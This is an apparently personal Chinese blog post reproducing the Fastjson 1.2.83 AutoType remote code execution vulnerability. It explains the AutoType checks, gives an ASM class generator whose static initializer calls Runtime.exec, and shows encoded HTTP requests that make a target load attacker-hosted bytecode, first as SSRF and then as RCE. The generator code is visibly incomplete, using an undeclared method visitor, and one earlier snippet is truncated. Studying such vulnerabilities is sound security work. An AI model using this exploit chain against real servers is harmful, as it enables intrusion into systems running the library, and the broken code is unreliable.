前言
这个漏洞也是爆出来过了好长时间了,一直没有复现,所以这两天打算复现一下
什么是AutoType
简单理解一下,AutoType的提出是为了处理java多态场景:当把一个对象序列化生成一个字符串时,这个字符串就会丢失对象的具体信息,导致反序列化时是无法恢复成原本的子类或实现类的(简单举个例子,如果是一个Animal接口,它的实现类是dog和cat,那么序列化后,在反序列化后,fastjson就不清楚实例化成什么),所以AutoType是为了记录序列化对象的真正的类名。那么,因为@type指定的值会被当做一个java类,创建它的实例,所以就会导致很多的漏洞。
最后到1.2.83的整体AutoType的机制是:
- 先判断是否开启了safeMode模式,如果开启了这个模式checkAutoType会直接抛出异常,这也就意味着AutoType被禁用了
- 如果safeMode,被关闭,这就会进入checkAutoType去进行判断,首先匹配白名单,如果该类是在白名单中,直接就实例化,如果不在就进行下一步,也就是进行黑名单匹配,如果在黑名单,就直接抛出异常,如果不在,就进行一下步的判断
- 是关于autoTypeSupport是否被开启的:这个发生在如果该类都不在黑白名单中,fastjson会判断autoTypeSupport有没有开启,如果被开启,通过检查了,就会被开启,如果关闭了,那就直接抛出异常
什么是ASM
这个是此漏洞形成的前提,这里可以先放一下我们所需要的payload的格式为jar:http://...!/POC这样的格式,我们需要typename的值是他,而在javac中根本就不允许: / !这三个字符当作包名和类名,所以,这里我们需要使用ASM直接去操作字节码。ASM也就是直接可以对字节码进行操控(直接改class),而不需要编译。
1 2 3 4
| public class jar:http:
writer.visit(V1_8,ACC_PUBLIC,"jar:http://...!/poc",...)
|
分析
漏洞点
漏洞成立的前提是ParserConfig.class.getClassLoader()使用的ClassLoader要是一个URLClassloader

其实使用spring boot fat jar来启动就满足了(但是我后来使用LaunchedURLClassLoader这个加载器不知道是什么问题,获取不到资源,最后实在没有办法就让ai写了一个urlclassloader来覆盖默认的classloader)
这里把ai写的代码贴出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package com.test.fastjson5; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.net.MalformedURLException; import java.net.URL;
public class UrlAwareClassLoader extends ClassLoader { public UrlAwareClassLoader(ClassLoader parent) { super(parent); } private boolean isUrlName(String name) { return name != null && (name.startsWith("http://") || name.startsWith("https://") || name.startsWith("jar:") || name.startsWith("file:")); } @Override public URL getResource(String name) { if (isUrlName(name)) { try { return new URL(name); } catch (MalformedURLException e) { return null; } } return super.getResource(name); } @Override public InputStream getResourceAsStream(String name) { URL url = getResource(name); if (url == null) { return null; } try { return url.openStream(); } catch (IOException e) { return null; } } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { String path = name.replace('.', '/').concat(".class"); URL url = getResource(path); if (url == null) { throw new ClassNotFoundException(name); } try (InputStream is = url.openStream()) { ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buf = new byte[4096]; int n; while ((n = is.read(buf)) != -1) { bos.write(buf, 0, n); } return defineClass(name, bos.toByteArray(), 0, bos.size()); } catch (IOException e) { throw new ClassNotFoundException(name, e); } } }
|
SSRF
首先是对SSRF的发现

到这里会获取到一个“资源名”,这个资源名经过测试可以是http或者是一个jar服务的,
而使用http进行测试的时候又由于上述的替换会将.替换为/,所以要采取一个简单的绕过,即127.0.0.1 ->> 2130706433,这样我们来尝试接收一下这个请求。
1 2 3 4 5 6 7 8 9 10
| GET /test01?payload=%7b%22%40%74%79%70%65%22%3a%22%68%74%74%70%3a%2f%2f%32%31%33%30%37%30%36%34%33%33%3a%33%31%33%33%37%2f%50%4f%43%22%2c%22%6e%61%6d%65%22%3a%22%58%75%32%6e%22%7d HTTP/1.1 Host: 192.168.10.3:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36 Edg/152.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: keep-alive
|

可以请求到
RCE
继续向下跟进,会发现

只要满足false true false的话就可以直接进loadclass

首先判断className的长度,接着判断首字符是否为“[”,在判断首字符和尾字符是否为“L”和“;”,最后调用类加载器的loadClass

到这里就会抛出错误,因为确实是根本就找不到我们写的这个类,我在目录下放的是POC这个类编译出来的class文件,但是这里加载是需要http://2130706433:31337/POC这个类的,这就需要ASM技术来解决了。同时要把/换成.不然还是会被checkName拒。

最后就是拿到对应的类名和字节,definclass,然后到后面类初始化的时候会执行静态代码块。
POC为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package com.test.fastjson5; import org.objectweb.asm.ClassWriter; import org.objectweb.asm.MethodVisitor; import org.objectweb.asm.Opcodes; import java.io.File; import java.io.FileOutputStream;
public class GenHttp { static final String HOST_PORT = "2130706433:31337"; static final String PATH = "/POC"; static final String INTERNAL_NAME = "http://" + HOST_PORT + PATH; static final String DEFAULT_OUT = "D:/Desktop/fastjson5test/POC.class"; public static void main(String[] args) throws Exception { ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS); cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC + Opcodes.ACC_SUPER, INTERNAL_NAME, null, "java/lang/Object", null); cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd(); mv.visitCode(); mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); mv.visitLdcInsn("calc"); mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); mv.visitInsn(Opcodes.POP); mv.visitInsn(Opcodes.RETURN); mv.visitMaxs(0, 0); mv.visitEnd(); MethodVisitor cv = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null); cv.visitCode(); cv.visitVarInsn(Opcodes.ALOAD, 0); cv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false); cv.visitInsn(Opcodes.RETURN); cv.visitMaxs(0, 0); cv.visitEnd(); cw.visitEnd(); String out = args.length > 0 ? args[0] : DEFAULT_OUT; try (FileOutputStream fos = new FileOutputStream(out)) { fos.write(cw.toByteArray()); System.out.println("[+] 裸类字节已写出: " + out + " (" + new File(out).length() + " bytes)"); System.out.println("[+] this_class = " + INTERNAL_NAME); } }
|
数据包是:
1 2 3 4 5 6 7 8 9 10 11
| GET /test01?payload=%7b%22%40%74%79%70%65%22%3a%22%68%74%74%70%3a%2e%2e%32%31%33%30%37%30%36%34%33%33%3a%33%31%33%33%37%2e%50%4f%43%22%2c%22%6e%61%6d%65%22%3a%22%58%75%32%6e%22%7d HTTP/1.1 Host: 192.168.231.72:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: keep-alive
|

总结:上述的一切的一切都归功于一个合适的URLClassloader(等我研究研究到底是哪里的问题)
因为基础比较薄弱,有说的不对的地方求指出。
参考
Fastjson 1.2.83 RCE漏洞分析(AI) - 9eek - 博客园
https://fearsoff.org/cn/research/fastjson-1-2-83-rce